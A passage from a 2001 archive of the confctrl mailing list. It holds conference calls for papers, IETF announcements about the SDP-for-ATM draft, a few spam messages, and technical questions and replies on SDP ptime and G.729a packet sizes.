of the proposed presentation. All papers must be written in English
and submitted electronically to TERENA by 16 February 2001. Before
submitting, please take care to proof read your paper to check for
typing errors and spelling mistakes. If possible, your paper should
also be proof read by a native English speaker to check it for clarity.

All paper submissions must include the paper title; titles (Mr, Ms, Dr
etc.) and full names of all author(s); organisational affiliation;
and contact postal address, e-mail address, telephone and fax numbers.
If more than one author is listed, please identify one person as the
main contact for correspondence.

All papers must be submitted in electronic format following the
instructions listed below. The preferred methods of submission are PDF
or HTML files submitted via FTP or e-mail; however, plain ASCII text
files will also be accepted.

HTML Documents
--------------
Please use only elementary HTML commands and minimise the number of
files (one main HTML file, plus essential figures in a general format
such as GIF or JPEG referenced by URLs). If your paper submission
contains more than one file, the main HTML file should be named
index.html and any supplementary figures should be named fig1.gif,
fig2.jpeg, fig3.gif etc. If you are submitting multiple files, please
zip all the files together into a single archive file before uploading
them to the FTP server or sending them by e-mail.

FTP submissions should be sent by anonymous FTP to <ftp.terena.nl>
into the directory "pub/tnc2001/submit". Please note that files
deposited in this directory can only be written once and cannot be
deleted afterwards. If after submitting your files you wish to send
an update, please follow the naming convention outlined above, but
name your files index2.html, index3.html, etc., so that your most
recent submission can be easily identified. Also, to ensure that we
notice the update, please send an e-mail to <tnc-2001@terena.nl>.

PDF and ASCII Text Documents
----------------------------
PDF files and plain ASCII text documents can be submitted by FTP or
e-mail. E-mail submissions should be sent to <tnc-2001@terena.nl>.
FTP submissions should be sent by anonymous FTP to <ftp.terena.nl>
into the directory "pub/tnc2001/submit".


Conference Publications
=======================

Authors of accepted papers must supply a speaker profile and an
abstract for publication in the Book of Abstracts and their final
paper for publication in the on-line Conference Proceedings by
23 March 2001.


Important Dates
===============

16 February 2001:   Short paper submissions due
5 March 2001:       Notification of acceptance to authors
23 March 2001:      Speaker profiles, abstracts and final papers due


Relevant Contacts
=================

The TERENA Networking Conference 2001 is being organised by TERENA,
the Trans-European Research and Education Networking Association,
and will be hosted by ULAKBIM, the Turkish Academic Network and
Information Center.

Programme Committee Chairman:   Stefano Trumpy
                                 <Stefano.Trumpy@iat.cnr.it>
								
Programme Committee Secretary:  Carol de Groot
                                 <carol@terena.nl>
								
Conference Organisation:        Bert van Pinxteren
                                 <pinxteren@terena.nl>


General Information
===================

For further information, please contact:

TERENA Secretariat      Tel: +31 20 530 4488
Singel 468 D            Fax: +31 20 530 4499
1017 AW Amsterdam       E-mail: tnc-2001@terena.nl
The Netherlands         WWW: http://www.terena.nl/tnc2001/

******************************************************************* 

From confctrl-owner  Mon Jan  8 02:00:51 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id CAA10874
	for confctrl-outgoing; Mon, 8 Jan 2001 02:00:51 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA10862
	for <confctrl@zephyr.isi.edu>; Mon, 8 Jan 2001 02:00:48 -0800 (PST)
Received: from server (209-133-70-251-modem.o1.com [209.133.70.251])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id CAA23754;
	Mon, 8 Jan 2001 02:00:42 -0800 (PST)
From: list_28@lycos.com
Message-Id: <200101081000.CAA23754@gamma.isi.edu>
Date: Mon, 8 Jan 2001 01:33:13
Subject: CAR QUOTES FOR FREE
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The Easiest Way to Get Low Prices on Cars
Don't make life a hassle by going from dealer to dealer for your 
next car.
Take the stress out of it by making the Internet work for you.
Just click on the link below to get low prices on all makes and 
models, new and used.
It's FREE, FAST and the EASIEST way to get a great deal on your 
next car.

http://www.getmetheinfo.com/


To be removed from future mailings, please send an email to: 
mailto:remlist003@lycos.com
 
 
 
 
 
 
 
 
 
 
 
 

From confctrl-owner  Mon Jan  8 04:25:42 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA15629
	for confctrl-outgoing; Mon, 8 Jan 2001 04:25:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA15624
	for <confctrl@zephyr.isi.edu>; Mon, 8 Jan 2001 04:25:41 -0800 (PST)
Received: from june.Broomfield1.level3.net (june.Broomfield1.Level3.net [209.245.18.7] (may be forged))
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f08CPeU18025
	for <confctrl@isi.edu>; Mon, 8 Jan 2001 04:25:40 -0800 (PST)
Received: from f1ee40-19.idc1.level3.com (hme0.f1ee40-19.idc1.oss.level3.com [10.1.144.204])
	by june.Broomfield1.level3.net (8.9.3/8.9.3) with ESMTP id MAA28630
	for <confctrl@isi.edu>; Mon, 8 Jan 2001 12:25:39 GMT
From: Aparna.Vemuri@Level3.com
Received: from n0195idc1.oss.level3.com (localhost [127.0.0.1])
	by f1ee40-19.idc1.level3.com (8.8.8+Sun/8.8.8) with ESMTP id MAA05525
	for <confctrl@isi.edu>; Mon, 8 Jan 2001 12:25:39 GMT
Received: by n0195idc1.oss.level3.com with Internet Mail Service (5.5.2650.21)
	id <CFJHK16Y>; Mon, 8 Jan 2001 05:27:43 -0700
Message-ID: <350829A9DA9FD411841200508BF9F060A8AD79@n0217idc1.oss.level3.com>
To: confctrl@ISI.EDU
Cc: Jon.Peterson@Level3.com
Subject: SDP Codec specification question
Date: Mon, 8 Jan 2001 05:27:07 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello.
I have a question concerning the specification of certain encoding
parameters in SDP. RFC 2327 says that the 'ptime' attribute may be used to
specify non-default packet sizes  for a particular encoding, with the caveat
that it should not be necessary to know ptime for the decoding of audio data
and that it is only a recommendation for the encoding of audio data. Is this
the only manner by which the packet size may be specified? Does anyone know
how applications currently specify non-default packet sizes?

Thanks,
Aparna

Aparna V.
Level (3) Communications.


From confctrl-owner  Mon Jan  8 10:27:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA28694
	for confctrl-outgoing; Mon, 8 Jan 2001 10:27:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA28689
	for <confctrl@zephyr.isi.edu>; Mon, 8 Jan 2001 10:27:03 -0800 (PST)
Received: from htsproxy.satyam.com ([208.220.246.213])
	by tnt.isi.edu (8.11.1/8.11.1) with SMTP id f08IQtU00623
	for <confctrl@isi.edu>; Mon, 8 Jan 2001 10:26:56 -0800 (PST)
Received: from 172.16.29.224 by htsproxy.satyam.com (InterScan E-Mail VirusWall NT)
Received: by HTS-SES-PC0782 with Microsoft Mail
	id <01C0799E.D6E0BC20@HTS-SES-PC0782>; Mon, 8 Jan 2001 18:14:28 +0530
Message-ID: <01C0799E.D6E0BC20@HTS-SES-PC0782>
From: Abhishek Sinha <abhishek@computer.org>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: 
Date: Mon, 8 Jan 2001 18:14:27 +0530
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


with thanks and best regards ,
abhishek.

Give it a thought:
Today is The New Day of the rest of your Life.
________________________________________________
Abhishek Sinha
Software Engineer - Trainee
VBU - Telecom CBU - Telephony
Satyam Computer Services Limited.
6-3-1090, TSR Towers, 5th Floor, Raj Bhavan Road, Somajiguda, Hyderabad - 500 082 INDIA
Phone:  +91-40-3304816 Ext: 7795


From confctrl-owner  Mon Jan  8 22:13:50 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id WAA24544
	for confctrl-outgoing; Mon, 8 Jan 2001 22:13:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA24539
	for <confctrl@zephyr.isi.edu>; Mon, 8 Jan 2001 22:13:49 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f096DmU06631
	for <confctrl@ISI.EDU>; Mon, 8 Jan 2001 22:13:48 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id BAA16094;
	Tue, 9 Jan 2001 01:16:33 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <ZZVFBYLV>; Tue, 9 Jan 2001 01:10:50 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF9AB014@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Aparna.Vemuri@Level3.com'" <Aparna.Vemuri@Level3.com>, confctrl@ISI.EDU
Cc: Jon.Peterson@Level3.com
Subject: RE: SDP Codec specification question
Date: Tue, 9 Jan 2001 01:10:45 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Aparna.Vemuri@Level3.com [mailto:Aparna.Vemuri@Level3.com]
> Sent: Monday, January 08, 2001 7:27 AM
> To: confctrl@ISI.EDU
> Cc: Jon.Peterson@Level3.com
> Subject: SDP Codec specification question
> 
> 
> Hello.
> I have a question concerning the specification of certain encoding
> parameters in SDP. RFC 2327 says that the 'ptime' attribute 
> may be used to
> specify non-default packet sizes  for a particular encoding, 
> with the caveat
> that it should not be necessary to know ptime for the 
> decoding of audio data
> and that it is only a recommendation for the encoding of 
> audio data. Is this
> the only manner by which the packet size may be specified? 

To my knowledge it is the only one.

-Jonathan R.
---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Tue Jan  9 19:46:47 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA14013
	for confctrl-outgoing; Tue, 9 Jan 2001 19:46:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA14008
	for <confctrl@zephyr.isi.edu>; Tue, 9 Jan 2001 19:46:46 -0800 (PST)
Received: from mail.exagon.de (root@[213.69.140.163])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0A3kjU22241
	for <confctrl@isi.edu>; Tue, 9 Jan 2001 19:46:45 -0800 (PST)
Received: from chambinzky.de (1Cust191.tnt1.madison.wi.da.uu.net [63.20.241.191])
	by mail.exagon.de (8.8.8/8.8.8) with SMTP id FAA10259;
	Wed, 10 Jan 2001 05:55:49 +0100
Content-Type: text/plain;
	 charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
From: FreePager9@daesung.co.kr
Subject: Receive a FREE Satellite T.V. System!
To: McCully@daesung.co.kr
Message-Id: <l6w81mn4uh6.3l3w4st08her1nt@chambinzky.de>
Date: Tue, 09 Jan 2001 22:43:44 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FREE Satellite T.V. System and FREE Installation

For a limited time we'll give you this top of the line Digital
Satellite System for FREE!  We'll even include Free installation.

Enjoy 100's of Channels of crystal clear digital picture and
cd stereo sound on your FREE Satellite TV System.  Why pay
for these items in a retail store, when we're giving you the
same satellite package for free.


Call 888-514-6881 to be Guaranteed Your FREE Satellite Today


This Innovative 20" Satellite includes a stereo receiver and
an infrared remote.  With this FREE offer you will have both
Interactive Television Capability and an On Screen Program Guide.

This limited time FREE offer is much less than the monthly cost
of cable tv. All you have to do is call us to arrange delivery.   
If you call today, we'll throw in a second receiver for your
second T.V. free.


Call 888-514-6881 to Begin Surfing through 100's of Channels Today!


To be removed send email to rubout45@yahoo.com


From confctrl-owner  Wed Jan 10 03:45:15 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA00489
	for confctrl-outgoing; Wed, 10 Jan 2001 03:45:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA00484
	for <confctrl@zephyr.isi.edu>; Wed, 10 Jan 2001 03:45:12 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0ABj9U07854
	for <confctrl@isi.edu>; Wed, 10 Jan 2001 03:45:09 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA13152;
	Wed, 10 Jan 2001 06:45:07 -0500 (EST)
Message-Id: <200101101145.GAA13152@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-atm-04.txt
Date: Wed, 10 Jan 2001 06:45:06 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Conventions for the use of the Session Description 
                          Protocol (SDP)for ATM Bearer Connections
	Author(s)	: R. Kumar, M. Mostafa
	Filename	: draft-ietf-mmusic-sdp-atm-04.txt
	Pages		: 91
	Date		: 09-Jan-01
	
This document describes conventions for using the Session Description
Protocol (SDP) described in RFC2327  [1] for controlling ATM Bearer
Connections, and any associated ATM Adaptation Layer (AAL). The AALs
addressed are Type 1, Type 2 and Type 5. This list of conventions is
meant to be exhaustive. Individual applications can use subsets of
these conventions. Further, these conventions are meant to comply
strictly with the SDP syntax as defined in rfc2327.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-atm-04.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010109091632.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-atm-04.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010109091632.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Jan 11 09:08:22 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA00686
	for confctrl-outgoing; Thu, 11 Jan 2001 09:08:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA00681
	for <confctrl@zephyr.isi.edu>; Thu, 11 Jan 2001 09:08:20 -0800 (PST)
Received: from blueyonder.co.uk (pcow029o.blueyonder.co.uk [195.188.53.123])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0BH8IU04851
	for <confctrl@isi.edu>; Thu, 11 Jan 2001 09:08:19 -0800 (PST)
Received: from gordon-2 ([195.188.204.237]) by blueyonder.co.uk  with Microsoft SMTPSVC(5.5.1877.197.19);
	 Thu, 11 Jan 2001 16:37:42 +0000
From: "Happy.New.Year" <Happy.New.Year@cabot.co.uk>
To: "Happy New Year"Happy.New.year@cabot.co.uk
Date: Thu, 11 Jan 2001 16:10:13 -0000
X-Distribution: Bulk
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Happy New Year from Cabot Communications
Reply-to: Happy.New.Year@cabot.co.uk
Priority: normal
Message-ID: <015b44237160b11PCOW029M@blueyonder.co.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Greetings for a Happy New Year 

from

Ken Helps & all at Cabot Communications.


You can pick up your personal Cabot message here:
 
http://www5.bluemountain.com/cards/boxe223732m3/n2325w4zg3u2pm.html


Cabot Communications Providers of Broadcast Technology Solutions

http://www.cabot.co.uk


From confctrl-owner  Sat Jan 13 07:38:11 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA02657
	for confctrl-outgoing; Sat, 13 Jan 2001 07:38:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA02651
	for <confctrl@zephyr.isi.edu>; Sat, 13 Jan 2001 07:38:09 -0800 (PST)
Received: from elcom.pub.ro ([141.85.43.13])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0DFbXU24034
	for <confctrl@isi.edu>; Sat, 13 Jan 2001 07:37:49 -0800 (PST)
Received: (from ispires@localhost)
	by elcom.pub.ro (8.9.3/8.9.3/Debian/GNU) id RAA14762
	for confctrl@isi.edu; Sat, 13 Jan 2001 17:27:06 +0200
From: Iulian SPIRESCU <iulian.spirescu@elcom.pub.ro>
Message-Id: <200101131527.RAA14762@elcom.pub.ro>
Subject: IEEE_ICT2001_new_deadlines
To: confctrl@ISI.EDU
Date: Sat, 13 Jan 2001 17:27:06 +0200 (EET)
X-Mailer: ELM [version 2.4ME+ PL39 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

LAST CALL FOR CONTRIBUTIONS

IEEE International Conference on Telecommunications
IEEE ICT 2001, June 4-7, 2001, Bucharest, Romania
http://ict2001.ici.ro, http://www.ict2001.ro/
ict2001-ro@elcom.pub.ro

Dear potential contributor,

We will be waiting for your contributions/participation:

- regular papers, posters, in-progress-papers, tutorials - until
February 15th, 2001
- paper submmision for special sessions - until February 20th, 2001
- exhibition - until February 20th, 2001.

Please consult the other deadlines as displayed on the web.

Yours sincerely,

Organizing Committee of IEEE ICT 2001

From confctrl-owner  Tue Jan 16 09:40:11 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA25878
	for confctrl-outgoing; Tue, 16 Jan 2001 09:40:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA25873
	for <confctrl@zephyr.isi.edu>; Tue, 16 Jan 2001 09:40:09 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0GHe8U03326
	for <confctrl@isi.edu>; Tue, 16 Jan 2001 09:40:08 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA17255;
	Tue, 16 Jan 2001 12:40:06 -0500 (EST)
Message-Id: <200101161740.MAA17255@ietf.org>
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: The IESG <iesg-secretary@ietf.org>
SUBJECT: Last Call: Conventions for the use of the Session Description
	 Protocol (SDP)for ATM Bearer Connections to Proposed Standard
Reply-to: iesg@ietf.org
Date: Tue, 16 Jan 2001 12:40:06 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The IESG has received a request from the Multiparty Multimedia Session
Control Working Group to consider Conventions for the use of the
Session Description Protocol (SDP)for ATM Bearer Connections
<draft-ietf-mmusic-sdp-atm-04.txt> as a Proposed Standard.

The IESG plans to make a decision in the next few weeks, and solicits
final comments on this action.  Please send any comments to the
iesg@ietf.org or ietf@ietf.org mailing lists by January 29, 2001.

Files can be obtained via
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt


From confctrl-owner  Wed Jan 17 06:55:58 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA14658
	for confctrl-outgoing; Wed, 17 Jan 2001 06:55:58 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA14653
	for <confctrl@zephyr.isi.edu>; Wed, 17 Jan 2001 06:55:57 -0800 (PST)
Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0HEttU25468;
	Wed, 17 Jan 2001 06:55:56 -0800 (PST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
	by e3.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id JAA206160;
	Wed, 17 Jan 2001 09:53:41 -0500
Received: from d01ml243.pok.ibm.com (d01ml243.pok.ibm.com [9.117.200.72])
	by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id JAA87494;
	Wed, 17 Jan 2001 09:51:42 -0500
Importance: Normal
Subject: Reminder - Call for Papers: ACM SIGCOMM 2001 (Jan 26 deadline)
To: tci-announce@listserv.computer.org, tccc@ieee.org, tcgn@ieee.org,
        end2end-interest@ISI.EDU, confctrl@ISI.EDU, itc@ieee.org
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OF46CC96A3.B4EF6FD5-ON852569BC.004C5A3E@pok.ibm.com>
From: "Dilip D Kandlur" <kandlur@us.ibm.com>
Date: Wed, 17 Jan 2001 09:58:27 -0500
X-MIMETrack: Serialize by Router on D01ML243/01/M/IBM(Release 5.0.6 |December 14, 2000) at
 01/17/2001 09:54:33 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




                        CALL FOR PAPERS
                   ACM SIGCOMM 2001 CONFERENCE

                   August 27 - August 31, 2001
            Mandeville Auditorium, UC San Diego, CA, USA.
                http://www.acm.org/sigcomm/sigcomm2001
Important Dates:

Paper submission: January 26, 2001
Tutorial proposals: February 12, 2001
Notification of acceptance: April 23, 2001
Camera ready papers: May 21, 2001

The SIGCOMM 2001 conference seeks papers describing significant research
contributions to the field of computer and data communication networks.
Authors are invited to submit full papers concerned with both theory and
practice. Areas of interest include, but are not limited to:

- Distributed application networking infrastructure.
- Distributed common application services, middleware protocols, and
signaling.
- Routing, switching, and addressing.
- Resource sharing, quality of service, multimedia networks, and OS
support.
- Multimedia networking.
- Networking aspects of the WWW.
- Heterogeneous internetworking, large-scale networks.
- Network management.
- Active network architectures and protocols.
- Important experimental results from operational networks and lessons
  learned from prototype implementations.
- Wireless networking and support for nomadic computing.
- Analysis and design of computer network architectures and algorithms.

SIGCOMM 2001 is a single-track, highly selective conference at which
successful
submissions typically report results firmly substantiated by experiment,
implementation, simulation, or mathematical analysis. In addition to the
technical program (paper presentations), SIGCOMM 2001 will offer tutorials
by noted instructors on the two days preceding the actual conference, and
feature an outrageous opinion session where fresh and unconventional
perspectives will be offered.

Submission Instructions:
------------------------

Papers must be less than 20 double-spaced pages long (formatted for
printing in the Proceedings, papers may not be longer than 12 pages),
have an abstract of 100-150 words, and be original material that has
not been previously published nor is currently under review by another
conference or journal.

Authors must submit papers electronically, using the instructions at
http://www.acm.org/sigs/sigcomm/sigcomm2001/submission/index.htm.
Authors not able to comply with these instructions should contact
the Program Co-Chairs at sigcomm2001@seas.upenn.edu .  Papers
submitted after the deadline will not be considered without an
ahead-of-time extension from the Program Co-Chairs.

All submitted papers will be judged based on their quality and
relevance through double-blind reviewing, where the identities of the
authors are withheld from the reviewers. Consult the on-line
submission instructions for information on preparing a manuscript for
double-blind review.  Authors of accepted papers will need to sign an
ACM copyright release form and present their paper at the
conference. The Proceedings of the conference will be published as a
special issue of ACM SIGCOMM Computer Communication Review. The
Program Committee may also select a few papers for possible
publication in the IEEE/ACM Transactions on Networking. Electronic
copies of the accepted papers will be published on the SIGCOMM 2001
web site prior to the conference unless authors specifically request
that this not be done.

Tutorials:
----------

SIGCOMM 2001 will begin with two days of full-day and half-day tutorials
covering single topics in detail, at both the introductory or advanced
level. Individuals interested in submitting tutorial proposals are
encouraged to contact the Tutorial Chair before the deadline to discuss
the proposed content.

Student Paper Award
-------------------

Papers submitted by students may be considered for a student-paper award,
which includes full conference registration and a travel grant of
approximately $500. To be eligible, the student must be the sole
author of the paper, or the first author and primary contributor. A cover
letter or email to the Program Chairs must identify the paper as a
candidate for this competition.

SIGCOMM Award:
--------------

The keynote speaker at SIGCOMM 2001 will be the 2001 winner of the ACM
SIGCOMM Award for lifetime contributions to the field of computer
communication. Procedures for nominating candidates for the SIGCOMM Award
can be obtained from Scott Shenker (shenker@aciri.org).






From confctrl-owner  Wed Jan 17 08:56:37 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA19962
	for confctrl-outgoing; Wed, 17 Jan 2001 08:56:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA19921
	for <confctrl@zephyr.isi.edu>; Wed, 17 Jan 2001 08:56:28 -0800 (PST)
Received: from june.Broomfield1.level3.net (june.Broomfield1.Level3.net [209.245.18.7])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0HGuRU10794
	for <confctrl@isi.edu>; Wed, 17 Jan 2001 08:56:27 -0800 (PST)
Received: from f1ee40-19.idc1.level3.com (hme0.f1ee40-19.idc1.oss.level3.com [10.1.144.204])
	by june.Broomfield1.level3.net (8.9.3/8.9.3) with ESMTP id QAA21525
	for <confctrl@isi.edu>; Wed, 17 Jan 2001 16:56:23 GMT
From: Aparna.Vemuri@Level3.com
Received: from n0195idc1.oss.level3.com (localhost [127.0.0.1])
	by f1ee40-19.idc1.level3.com (8.8.8+Sun/8.8.8) with ESMTP id QAA23932
	for <confctrl@isi.edu>; Wed, 17 Jan 2001 16:56:22 GMT
Received: by n0195idc1.oss.level3.com with Internet Mail Service (5.5.2650.21)
	id <DA86YZ9F>; Wed, 17 Jan 2001 09:58:27 -0700
Message-ID: <350829A9DA9FD411841200508BF9F060A8ADF5@n0217idc1.oss.level3.com>
To: confctrl@ISI.EDU
Subject: G.729a packet size
Date: Wed, 17 Jan 2001 09:57:41 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Does anyone know what the default and/ or most commonly used packet size for
G.729a is? I know that the ITU-T spec specifies a frame size of 10 ms; but
the number of frames that normally make a packet (1 or 2?) is not clear to
me. 
Thanks,
Aparna

Aparna V.
Level (3) Communications.

From confctrl-owner  Wed Jan 17 09:55:32 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA23349
	for confctrl-outgoing; Wed, 17 Jan 2001 09:55:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA23341
	for <confctrl@zephyr.isi.edu>; Wed, 17 Jan 2001 09:55:31 -0800 (PST)
Received: from diablo.cisco.com (diablo.cisco.com [171.68.224.210])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0HHtUU22082
	for <confctrl@ISI.EDU>; Wed, 17 Jan 2001 09:55:30 -0800 (PST)
Received: from jmpolk-8k (ssh-sj1.cisco.com [171.68.225.134]) by diablo.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id JAA28798; Wed, 17 Jan 2001 09:54:52 -0800 (PST)
Message-Id: <4.1.20010117114445.02465930@localhost>
X-Sender: jmpolk@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Wed, 17 Jan 2001 11:53:21 -0600
To: Aparna.Vemuri@Level3.com, confctrl@ISI.EDU
From: "James M. Polk" <jmpolk@cisco.com>
Subject: Re: G.729a packet size
In-Reply-To: <350829A9DA9FD411841200508BF9F060A8ADF5@n0217idc1.oss.level
 3.com>
Mime-Version: 1.0
